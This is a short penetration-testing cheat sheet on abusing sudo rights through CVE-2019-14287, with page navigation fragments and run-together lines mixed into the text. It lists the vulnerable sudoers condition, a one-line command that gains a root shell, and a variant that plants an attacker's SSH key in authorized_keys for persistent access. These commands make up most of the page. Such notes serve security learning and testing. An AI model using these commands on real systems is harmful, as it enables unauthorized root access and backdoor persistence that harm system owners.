Abusing Sudo Rights
Resources
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://gtfobins.github.io/CVE 2019-14287
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
# If no TTY, you can restart SSH server and add your key
sudo /etc/init.d/ssh restart
echo 'ssh-rsa AAAA[...snip...]fd48as= root@kali-jms' > authorized_keys
sudo -u#-1 bashExploiting sudo
Binary program
Commands
Infos
Last updated